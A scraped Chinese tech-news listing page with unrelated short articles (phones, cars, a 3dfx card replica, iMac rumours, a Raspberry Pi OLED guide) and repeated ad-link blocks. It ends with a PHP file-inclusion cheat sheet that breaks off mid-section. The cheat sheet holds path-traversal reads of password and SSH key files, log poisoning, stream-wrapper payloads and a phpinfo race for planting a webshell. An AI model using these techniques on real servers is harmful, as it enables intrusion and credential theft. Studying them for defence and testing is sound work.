分類
發燒車訊

小米11 的超級夜景「錄影」有多威?官方示範給你看

搭載高通 S888、WQHD+ 120HZ AMOLED 螢幕、 1.08 億畫素三主相機、 Harman Kardon 立體聲雙揚聲器,還支援 55W 有線充電 / 50W 無線充電,甚至還能以 4,600mAh 大電量來以 10W 無線反向充電的小米11。其實單就這樣規格搭配它換算約 2.5 萬新台幣的售價,就已經讓人覺得誠意滿滿。不過這次的 Mi 11 5G 除了細節滿滿的 HDR10+ 錄影支援外,其實還有一個讓人非常好奇的 Ultra Night Video 超級夜景錄影功能讓人非常期待它的表現。現在,官方也直接示範了小米11 的超級夜景「錄影」的示範片段。

▲圖片來源:小米

小米11 的超級夜景「錄影」有多威?官方示範給你看

▲圖片來源:小米

隨著 11 世代的國際版小米旗艦正式發表後,大家好像已經開始期待規格更威螢幕更大的 Mi 11 Ultra 了。不過小米似乎想要告訴大家,大家不要只期待其他新機,其實剛發表的機器也還有著許多令人驚呼的彩蛋等著你挖掘。

先前在小米11 國際版發表會中特別提到,將會把超級夜景演算法導入「錄影」之中的 Ultra Night Video 超級夜景錄影功能。現在官方也直接透過影片,來展現這個新拍攝功能的威能 — 讓人知道,這次小米主打的 Mi 11 Movie Magic 到底神奇在哪。

小米在官方 YouTube 放上了專門示範超級夜景影片拍攝的片段。可以看到,原本被聚光燈充分打光照射的樂團表演,在樂手一個手勢之後,現場的燈光就瞬間被調暗。此時,拿起啟動超級夜景錄影模式的小米 11 一拍,便可馬上看到。即便是在低光昏暗的場景下,透過此模式卻依然可以拍攝出足夠明亮的影片。

雖說這畢竟是官方的範例,實際拍攝是否也能這樣「Magic」,仍有待未來我們的實測或者是更多測試影片釋出才能確認。不過能將以往僅能在靜態拍攝啟動的夜景模式,變成也能在錄影時使用,真的是大大解決了以往手機錄影在低光拍攝表現的劣勢,也是計算式攝影又一次的進化。不得不說,以智慧型手機而言,這樣的表現真的相當令人期待啊!

延伸閱讀:

小米11 Ultra 實機動手玩影片流出!配備 120x 變焦相機和副螢幕

Google Chrome 測試為無痕模式再上一道(生物辨識)大鎖

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

分類
發燒車訊

這款轎車標配ESP起價只有5萬多 10月份還賣了1.6萬台!

所以小編這次就是要給大家說說艾5哪款車的性價比最高。下面兩個圖表分別是手動擋車型和自動擋車型。其中艾5標配主/副駕駛座安全氣囊、ESp、上坡輔助、后視鏡電動調節。所以如果預算不充足,即使最低配的艾5,也是可以入手的。

自主SUV異常火爆是眾所周知的,但是自主轎車在和合資轎車的對抗中一直出於劣勢,所以不少人都唱衰自主轎車。

但是事情總會有轉機的,只要廠家拿出有誠意的作品,銷量一定不會差的。比如奇瑞艾瑞澤5(本文簡稱艾5),這款起步價只有5.89萬的緊湊型轎車,要保證顏值和空間的情況下,竟然全系標配了ESp,正是因為如此厚道的配置,所以艾5的10月份銷量為16504輛。表現非常好。

艾5在今年3月18日上市,指導價為5.89-9.79萬,上市之後就取得了很大的反響,之所以引起巨大的關注,一是因為艾5的的原創性很高,在細節方面都突出了年輕化的設計理念。車頭造型飽滿,中網樣式類似“滿天星”,這樣的設計也使前格柵的層次感較為豐富。

二是因為艾5的配置確實不低。艾5的車身尺寸為4572*1825*1482mm,軸距為2670mm,標準的緊湊型轎車,不小的軸距極大的保證了車內空間。同時配置很高,即使是最低配,也是標配了ESp,從這一點可以看出這個企業還是挺實在的。

正是因為企業的“實在”,所以才得到了消費者的認可。但是當消費者去選擇艾5的時候,會發現密密麻麻一堆車型看起來就頭疼。所以小編這次就是要給大家說說艾5哪款車的性價比最高。下面兩個圖表分別是手動擋車型和自動擋車型。

其中艾5標配主/副駕駛座安全氣囊、ESp、上坡輔助、后視鏡電動調節。所以如果預算不充足,即使最低配的艾5,也是可以入手的。

通過圖表可以發現,撇開手動擋最低配和自動擋高配,其餘的手動擋和自動擋都是相互對應的,價格差了8000元,但是其它配置一樣的,所以相當於8000買個一台CVT變速箱,所以我們就以手動擋車型為例子進行分析。

通過上圖我們發現,雖然低配的性價比不低,但是和次低配領潮版比起來,性價比還是沒有領潮版高。

領潮版、智效領動版、領銳版相比起來,首先排除智效領動版,性價比最低。雖然領銳版售價已經接近7萬,但是多出的配置還是比較實用的。所以領銳版也有一定的性價比。

對於再高級別的領跑版和領臻版,無非就是多個氣囊、GpS,不過價格已經過高,對於艾5這款主打性價比的車子,顯然是不會受歡迎的。不過如果資金充足的話也可以選擇手動或者自動領臻版,安全配置比較豐富。

對於售價高達9.79萬的頂配車型-自動領尊版,更多的是為了提升品牌形象,幾乎完全沒有性價比。

綜上所述,領潮版的性價比最高了,其次是領銳版,同時最低配的手動領尚版性價比也不錯。其它車型的性價比不是很高。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

分類
發燒車訊

稱得上操控之王?10多萬的美系轎車哪款車型最強勁?

身為編者當然是要為你們着想,讓你們買到更安心、可靠的車型,所以我就要對你們負責。那麼咱們就從1。0T的車型聊起吧,1。0T的車型會更省油,而且動力也還能滿足日常的需求。喜歡駕駛操控買手動車型的朋友,我會推薦EcoBoost 125 手動超能風尚型智行版售價為13。

福特,一貫的特性就是擁有比同級別更好的操控,無論是SUV還是B級車也好,在同級別中操控性方面都是數一數二的。而福克斯就是福特銷量的主力軍,2016年1月-10月它的銷量就達到了174761輛。福克斯就是一款主打運動操控的車型,吸引了不少對這方面有追求而資金又不是很充裕的消費者,10幾萬就能感受到非常運動,操控性能好的車子,除了福克斯還有誰?而新福克斯也迎來了改款,我們今天就說一說想買福克斯的朋友,到底買哪一款車型性價比更高、更加地合適我們。

長安福特-福克斯

指導價:9.98-16.58萬

福克斯也是沿用了家族化的風格設計,“馬丁臉”具有較高的辨識度,車身的線條也非常凌厲,充滿了隨時要戰鬥的氣息。福克斯是有兩廂車型、三廂車型供消費者選擇,兩廂車型在視覺效果上會更加的運動、年輕、而三廂車廂車型會有那麼一丟丟居家的感覺,但也不會缺乏運動時尚感。

在內飾設計上,整體的布局簡潔大方,按鍵的布局也是比較整齊,在觸感上有很好的反饋,在功能鍵的操作上也是非常容易上手的,新克斯在方向盤也換成了三幅式的,更具操控的味道。全黑的內飾營造出一股運動氣息的氛圍。

雖然福克斯玩得一手好操控,但是空間就是它的短板,在乘坐的空間方面比較緊湊,腿部頭部空間只能說僅僅夠用,但座椅的包裹性非常好,在你激烈駕駛時,身體不會有太大幅度的搬動,就像有人在你背後牢牢的抱着你,舒適性還是不錯。

福克斯指導價為:9.98-16.58萬,搭載1.6L自然吸氣發動機、1.0T/1.5T渦輪增壓發動機,與之匹配的傳動系統5擋手動、6擋雙離合、6擋手自一體變速箱。在動力的調教上,福克斯的表現也是相當的激進,響應性也是非常不錯。轉向很敏捷,精準,給人的感覺就是非常樂意地去過彎,在傾側上也抑製得非常好,行駛質感也非常高,在底盤的調教上很紮實硬朗,在一些起伏不平整路面,也不會有拋跳讓人不舒服的感受。新福克斯,在操控性和舒適上做了更多的改進,那麼我們就來說一說福克斯哪款車型更值得買。

首先呢1.6L的車型我是不推薦買的,因為在傳動系統方面,搭載的6速雙離合,問題還是比較多,頓挫感啊、種種讓人受不了的情況。身為編者當然是要為你們着想,讓你們買到更安心、可靠的車型,所以我就要對你們負責。那麼咱們就從1.0T的車型聊起吧,1.0T的車型會更省油,而且動力也還能滿足日常的需求。喜歡駕駛操控買手動車型的朋友,我會推薦EcoBoost 125 手動超能風尚型智行版售價為13.08萬,好像就這一款,呵呵呵..上坡輔助、電動天窗、GpS導航系統、自動空調調製方式等豐富配置。和自動擋車型相比,相差了1.1萬,卻只是改變了傳動方式,和多了發動機啟停技術,用的是6速手自一體,手動車型和自動就看你自己怎麼選了。具體見下錶;

1.5T車型,動力會強勁很多,趕在12月前買能享受到購置稅減半的政策呢! 三廂版EcoBoost 180 自動精英型售價:14.98萬; 三廂版EcoBoost 180 自動旗艦型16.58萬兩者只相差1.6萬元,而旗艦型比精英型可多了多,無鑰匙進入/啟動、方向盤換擋、定速巡航、后中央扶手、主動剎車/主動安全系統等一系列的高科技配置,只相差一萬六,還是非常值得,福特也是很厚道!

編者點評:

如果資金不是很充裕的,買1.0T車型的而且比較注重油耗方面的,我會更推薦手動超能風尚型智行版,配置上也是足夠厚道,性價比高。1.5T的車型呢,想感受更好的動力和科技性配置,我會更推薦三廂旗艦型和兩廂運動型,畢竟相差的價錢不大,而且也多了很多配置,在你日常用車也是用得上,而不是在那裡當擺設的! 總的來說福克斯在同級裡頭,是有最好的操控駕駛感受,毫無疑問福克斯是適合那些非常注重個人感受的,非常注重自己駕駛,甚至超過家人享受的那種感覺,這個應該說是所有喜歡開車的人不容錯過的一台車。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

分類
發燒車訊

超神!國外硬體玩家成功複刻 3dfx Voodoo 5 經典顯卡,還真的可以運作

3dfx 雖然好幾十年前就消失,但對於一些資深的硬體玩家來說,它的地位可是不容取代,甚至用傳奇來形容也不為過。而最近國外就有瘋狂硬體愛好者,可能是太想要再次擁有 3dfx 的顯卡,就透過逆向工程成功還原 3dfx Voodoo 5 6000 這張經典顯卡,而且是真的可以插在電腦上使用,不是模型,真的是有夠厲害。

國外硬體玩家成功複刻 3dfx Voodoo 5 經典顯卡

最近在國外 MODLABS 論壇中,一位 zx-c64 的用戶分享他成功複刻 3dfx Voodoo 5 6000 顯卡的圖片。根據說明,這張顯卡是他購買各零件搭配上逆向工程組裝而成,VSA-100 核心晶片每顆大約花費 18.95 美元(共四顆) ,不過 PCB 電路板選擇黑色,不是過去的綠色,每顆晶片上方再配備散熱風扇:

Voodoo 5 6000 顯卡的 TDP 功耗為 60W,這比 AGP 插槽能提供的還高,因此他也加裝 4 pin 的電源供電接孔,透過 250W 電源供應器供電:

zx-c64 也提到,他很確定這張 Voodoo 5 6000 顯卡效能就跟原本的一樣,他甚至還複製相同的 BIOS 與驅動程式。執行起來畫面還算順暢,但速度有點慢,畢竟是好幾十年前的顯示卡。

Voodoo 5 6000 是 Voodoo 5 5500 的後繼接班人,也是 3dfx 推出的最後一張消費級顯卡,當時連硬體規格都出來了,像是採用 4 顆 166 MHz VSA-100,每個處理器都有 32MB 166MHz SDRAM 等等,不過最後因為生產成本太高,且主機板上的 AGP x4 插槽有一些錯誤,變成只能以 x2 運行,同時還有用戶回報遊戲畫面會出現顏色失真、螢幕有半透明條紋等問題,並沒有實際在市場上販售,僅生產 1000 多張測試卡。

因此 zx-c64 選這張複刻,也算是圓一場擁有 3dfx 最強顯卡的夢。

資料來源:toms hardware

Voodoo顯示卡重現江湖? 國外玩家將其樂高化,並尋求支持

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

分類
發燒車訊

聯合國氣候峰會 川普出席15分鐘

摘錄自2019年9月24日公共電視、中央社報導

第74屆聯合國大會,23日在美國紐約召開,全球有約60國領袖,出席聯合國氣候行動峰會。

原本預計會缺席的美國總統川普,也意外現身,但沒有發言,只待了15分鐘後,聽了印度總理莫迪,和德國總理梅克爾的演說後就離席。而梅克爾發言時表示,德國在2030年時,希望將二氧化碳排放量,減少到1990年的55%,並且在2050年時達到零碳排。

瑞典16歲環保少女童貝里激動地痛斥各國領袖不解決碳排,背叛她這個世代;媒體還捕捉到美國總統川普意外現身,童貝里怒瞪川普的畫面。不過肢體語言專家伍德(Patti Wood)伍德解釋,童貝里的肢體反應有可能被誇大。

政策
公約
環境政策
全球變遷
氣候變遷
國際新聞
美國
川普
全球暖化

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

分類
發燒車訊

樹莓派使用 OLED 屏显示圖片及文字

樹莓派默認是不帶显示屏的,如果想要查看系統的一些信息,需要使用電腦登錄到樹莓派,或者通過 HDMI 連接外接显示器查看。這樣做總是有點麻煩,我們可以通過外接一個 OLED 屏來显示一些關鍵參數或者圖片。本文將詳細介紹操作方法。

OLED 模組介紹

OLED 屏主要有兩種:128×32 和 128×64 ,主要顏色是白、黃、藍。OLED 屏的特點是功耗低,價格便宜,使用 I2C 接口與主機連接。本文所使用的是 128×64 尺寸的屏幕,外形如下:

它的接口很簡單,只有 4 個 Pin 腳:VCC,GND,SDA,SCL,所以它與樹莓派的連接也很簡單,如下圖所示(本文使用樹莓派 3B):

開啟 I2C 接口

樹莓派默認是不開啟 I2C 接口的,所以我們需要手動打開它。執行以下命令:

$ sudo apt-get install -y python-smbus
$ sudo apt-get install -y i2c-tools
$ sudo raspi-config

然後按以下動圖方式開啟 I2C 功能。

安裝 OLED 屏的 Python 庫

為了在 OLED 屏上显示文字或圖像,我們需要使用到 Adafruit 的 Python 庫,這個庫支持所有的 SSD1306 相關的显示屏,包括 128×32 和 128×64 屏幕。

首先我們需要下載這個庫:

$ git clone https://github.com/adafruit/Adafruit_Python_SSD1306.git

然後進入到目錄,再進行安裝:

$ cd Adafruit_Python_SSD1306
$ sudo python3 setup.py install	# 如果使用 Python2 ,則使用對應命令

找到 OLED 模組地址

安裝好 Python 庫之後,我們可以使用 i2cdetect 命令來找到 OLED 屏的物理地址:

$ i2cdetect -y 1

我們會得到類似這樣的輸出:

不同的模組可能得到不同的輸出。這裏我們的 I2C 地址就是 0x3C。如果你使用的是初代樹莓派(256MB的樹莓派1代B),那麼需要使用下面的命令:

$ i2cdetect -y 0

使用 OLED 屏显示圖像及文字

在剛剛下載的那個庫文件里,有一個 examples 目錄,在那個目錄里,我們可以看到以下內容:

  • animate.py
  • buttons.py
  • image.py
  • shapes.py
  • stats.py

這幾個文件我們可以直接運行,比如:

$ python3 shapes.py

這幾個文件運行的結果如下圖示:

屏幕尺寸適配

以上的幾個示例文件里,它們都默認你的屏幕尺寸是 128×32 ,但它們依然可以跑在 128×64 的屏幕上。如果我們想要看得更舒服一點,我們可以將尺寸進行適配。

在每個 Python 文件里,都有下面這麼一段代碼:

這裏也寫得很清楚了,上下兩行代碼分別代表 128×32 和 128×64 的屏幕,使用何種尺寸的屏幕,只需將對應的代碼前面的 # 去掉即可。

公眾號:良許Linux

有收穫?希望老鐵們來個三連擊,給更多的人看到這篇文章

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

分類
發燒車訊

研究:加倍保育工作 全球海洋有機會在30年內重現往日榮景

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

分類
發燒車訊

國外大神爆料 iMac 將推出多款顏色選擇,還有一款 Mac Pro Mini 新機種

今年新款 iMac 的效能有很高可能性會大幅提升,也因此受到非常多 Apple 用戶的關注,而且搞不好不只這一個,稍早又有新的消息出現,國外大神爆料 iMac 還會有多款顏色選擇,也就是說你可以依自己的喜好或裝潢風格,選擇更適合的顏色。另外還提到 Apple 會再推出一款全新的 Mac Pro mini 機種,應該就是體積較小的 Mac Pro。

國外大神爆料 iMac 將推出多款顏色選擇

稍早國外知名爆料大神 Jon Prosser 透露,iMac 將會有多色版本,從爆料圖來看共有 5 色,銀色、黑色、綠色、藍色和粉紅色,而且外型也變得更方正,這點跟先前 Bloomberg(彭博)報導內容一樣,會改成類似 Pro Display XDR 顯示器的外型設計:

Hello, 1998.

iMacs.
Colors.

They’re back. https://t.co/Rho9SmK9I6 pic.twitter.com/YkKgoEFYCa

— Jon Prosser (@jon_prosser) February 24, 2021

iMac 在很多年輕一輩的印象中,可能都只有銀色之類的單一顏色,事實上早期(2000 年以前) 的 iMac 就有非常多色選擇,像 iMac G3 就多達 13 種:

(CC BY-SA 2.0, 圖片來源)

不過 iMac 回歸多色設計我是覺得機會蠻小的,畢竟銷量不像 iPhone 這麼多,現今品牌電腦也很少提供這麼多顏色,一次五色感覺很冒險,不像 Apple 近年的作風,如果多一或二個顏色還比較有可能。

iMac 預計會搭載新一代的 Apple Silicon 處理器,核心可能高達 16 顆,且增加更多連接埠,知名分析師也透露會有全新 24 吋版本。推出時間就還要等一陣子,預計會在 2021 年夏季至秋季登場。

至於 Mac Pro mini,Jon Prosser 就沒有說明太多,只提到 Apple 目前計畫推出這一款新機型:

完整爆料影片:

資料來源:Jon Prosser

傳聞 Apple 將於 3/16 舉行春季新品發表會,或將推出全新 iPad mini 和 AirTags 等新品

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

分類
發燒車訊

Google 釋出全新睡眠監測 API,在省電的前提下幫助健康應用更完善地追蹤

在市面上的活動追蹤器很多,但絕大多數都是關於活動、鍛鍊,當然這些很重要但並非衡量健康生活的唯一指標,睡眠也同樣重要,為了讓用戶培養更好的睡眠習慣,Google 釋出旗下新睡眠監測API,使所有Android 裝置更夠擁有更好的低耗電睡眠追蹤功能。

Google 釋出全新睡眠監測API,幫助健康應用更完善地追蹤

Android 上面已經有數款睡眠追蹤應用,你以為這款API 的釋出已經太晚、太遲了,但目前所有應用都使用獨立的偵測演算法和政策來確認用戶是否正在睡覺,或是已經醒來,而這些應用至少都必須在後台運行才能動作。這種方式也是有缺點的,其中之一就是當應用程式在後台持續運行時,手機會在無形中不斷耗電,使得大家在睡覺時不得不為手機充電,雖然廠商在想辦法改變背景運行的方式,但這也會使得睡眠追蹤數據變得不準確。

相較之下,睡眠API 是Android 系統上更廣泛的活動識別API 一部分,這表示它會被放到Google Play 服務中,並且提供一個標準和節約能源的方式來追蹤睡眠。睡眠監測API 將使用設備上的機器學習模型,根據手機光線和運動測器來推斷用戶的睡眠狀態,Google 表示新的API 可以避免開發者花費許多時間來開發自己的判定方式。此外,與其他睡眠追蹤API 相比,Google 的睡眠API 還具備有其他優勢,包含更少的耗電,還有在數據收集方面更可靠的功能,尤其是後者在現代人眼中格外重視。

如果你是開發者,現在就能試著使用Android 的新睡眠監測API,同時這支API 也會提示用戶必須授予ACTIVITY_RECOGNITION 許可,這可確保用戶能夠控制哪些應用可以跟蹤其睡眠。有興趣的開發者可以查閱Google API 說明文件來了解更多關於這款新API 的資訊。

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

分類
發燒車訊

PHP文件包含 整理

文件包含

目錄

  • 文件包含
    • 1. 概述
      • 1.1 常見的引發漏洞的函數:
      • 1.2 利用條件
      • 1.3 分類和利用思路
    • 2. 利用方法
      • 2.1 配合文件解析漏洞來包含
      • 2.2 讀取系統敏感文件(路徑遍歷)
      • 2.3 包含http日誌文件
      • 2.4 包含SSH日誌
      • 2.5 使用PHP偽協議
      • 2.6 配合phpinfo頁面包含臨時文件
      • 2.7 包含Session
      • 2.9 包含環境變量
    • 3. 繞過技巧
      • 3.1 限制路徑路徑
      • 3.2 限制後綴
      • 3.3 allow_url_include = off
      • 3.4 Base64 處理的session文件
      • 3.5 自己構造Session
      • 3.6 CVE-2018-14884

參考資料:
文件包含漏洞簡介
利用phpinfo條件競爭
PHP文件包含漏洞利用思路與Bypass總結手冊

1. 概述

什麼是文件包含:文件包含函數所加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他文件或惡意代碼,導致信息泄露或代碼注入。

要求:包含的文件路徑攻擊者可控,被包含的文件web服務器可訪問。

1.1 常見的引發漏洞的函數:

  1. include()執行到include時才包含文件,文件不存在時提出警告,但是繼續執行
  2. require()只要程序運行就會包含文件,文件不存在產生致命錯誤,並停止腳本
  3. include_once()require_once()只執行一次,如果一個文件已經被包含,則這兩個函數不會再去包含(即使文件中間被修改過)。

當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),其中的文本內容都會直接作為php代碼進行解析。

1.2 利用條件

  • 包含函數通過動態變量的方式引入需要包含的參數。

  • PHP中只要文件內容符合PHP語法規範,不管是什麼後綴,都會被解析。

1.3 分類和利用思路

文件包含通常按照包含文件的位置分為兩類:本地文件包含(LFI)和遠程文件包含(RFI),顧名思義,本地文件包含就是指包含本地服務器上存儲的一些文件;遠程文件包含則是指被包含的文件不存儲在本地。

本地文件包含

  1. 包含本地文件、執行代碼
  2. 配合文件上傳,執行惡意腳本
  3. 讀取本地文件
  4. 通過包含日誌的方式GetShell
  5. 通過包含/proc/self/envion文件GetShell
  6. 通過偽協議執行惡意腳本
  7. 通過phpinfo頁面包含臨時文件

遠程文件包含

  1. 直接執行遠程腳本(在本地執行)

遠程文件包含需要在php.ini中進行配置,才可開啟:

allow_url_fopen = On:本選項激活了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 對象文件。默認的封裝協議提供用 ftp 和 http 協議來訪問遠程文件,一些擴展庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設置。)

allow_url_include = On:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen開啟)

2. 利用方法

2.1 配合文件解析漏洞來包含

http://target.com/?page=../../upload/123.jpg/.php

2.2 讀取系統敏感文件(路徑遍歷)

include.php?file=../../../../../../../etc/passwd

Windows:

​ C:\boot.ini //查看系統版本
​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
​ C:\Windows\repair\sam //存儲系統初次安裝的密碼
​ C:\Program Files\mysql\my.ini //Mysql配置
​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
​ C:\Windows\php.ini //php配置信息
​ C:\Windows\my.ini //Mysql配置信息

Linux:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts
/porc/config.gz

2.3 包含http日誌文件

通過包含日誌文件,來執行夾雜在URL請求或者User-Agent頭中的惡意腳本

  1. 通過讀取配置文件確定日誌文件地址

    默認地址通常為:/var/log/httpd/access_log/var/log/apache2/access.log

  2. 請求時直接在URL後面加上腳本即可http://www.target.com/index.php<?php phpinfo();?>,之後去包含這個日誌文件即可。

  3. 注意:日誌文件會記錄最為原始的URL請求,在瀏覽器地址欄中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。

apache+Linux 日誌默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日誌默認路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS默認日誌文件
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log

通過包含環境變量/proc/slef/enversion來執行惡意腳本,修改HTTP請求的User-Agent報頭,但是沒復現成功

2.4 包含SSH日誌

和包含HTTP日誌類似,登錄用戶的用戶名會被記錄在日誌中,如果可以讀取到ssh日誌文件,則可以利用惡意用戶名注入php代碼。

SSH登錄日誌常見存儲位置:/var/log/auth.log/var/log/secure

2.5 使用PHP偽協議

PHP內置了很多URL 風格的封裝協議,除了用於文件包含,還可以用於很多文件操作函數。在phpinfo的Registered PHP Streams中可以找到目前環境下可用的協議。

file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 壓縮文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
  1. file://訪問本地文件系統http://target.com/?page=file://D:/www/page.txt,正反斜線都行(windows),對於共享文件服務器可以使用\\smbserver\share\path\to\winfile.ext

  2. php://input訪問輸入輸出流:?page=php://input,在POST內容中輸入想要執行的腳本。

  3. php://filter:是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。

    全部可用過濾器列表:https://www.php.net/manual/zh/filters.php

    通常利用該偽協議來讀取php源碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php代碼解析,利用方式(就是read寫不寫的區別):

    index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    index.php?file=php://filter/convert.base64-encode/resource=index.php
    
  4. data://數據流封裝:?page=data://text/plain,腳本

  1. zip://壓縮流:創建惡意代碼文件,添加到壓縮文件夾,上傳,無視後綴。通過?page=zip://絕對路徑%23文件名訪問,5.2.9之前是只能絕對路徑。

備註:

  1. 文件需要絕對路徑才能訪問

  2. 需要通過#(也就是URL中的%23)來指定代碼文件

  3. compress.bzip2://compress.zlib://壓縮流,與zip類似,但是支持相對路徑無視後綴

    bzipgzip是對單個文件進行壓縮(不要糾結要不要指定壓縮包內的文件)

    ?file=compress.bzip2://路徑
    ?file=compress.zlib://路徑
    
  4. phar://支持zip、phar格式的壓縮(歸檔)文件,無視後綴(也就是說jpg後綴照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內文件名,絕對路徑和相對路徑都行。

    利用方法:

    index.php?file=phar://test.zip/test.txt
    index.php?file=phar://test.xxx/test.txt
    

    製作phar文件(php5.3之後):

    1. 設置php.iniphar.readonly=off
    2. 製作生成腳本
    <?php 
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
    $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要壓縮的文件及內容
    $phar->stopBuffering(); //簽名自動計算
    ?>
    // 這個腳本需要使用php.exe 來生成
    
    1. 生成腳本2

      <?php
      $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
      $p->addFromString('test.txt', '<?php phpinfo();?>');
      ?>
      //這個腳本可以通過訪問來觸發,在本地生成一個test.123,但是不能生成後綴為phar的文件(其他的都行,甚至是php)
      

2.6 配合phpinfo頁面包含臨時文件

向phpinfo頁面上傳文件的時候,phpinfo會返回臨時文件的保存路徑

臨時文件存活時間很短,當連接結束后,臨時文件就會消失。條件競爭

只要發送足夠多的的數據,讓頁面還未反應過來的時候去包含文件,即可。

  1. 發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據

  2. 因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大

  3. php默認的輸出緩衝區大小為4096,可以理解為php每次返回4096個字節給socket連接

  4. 所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包

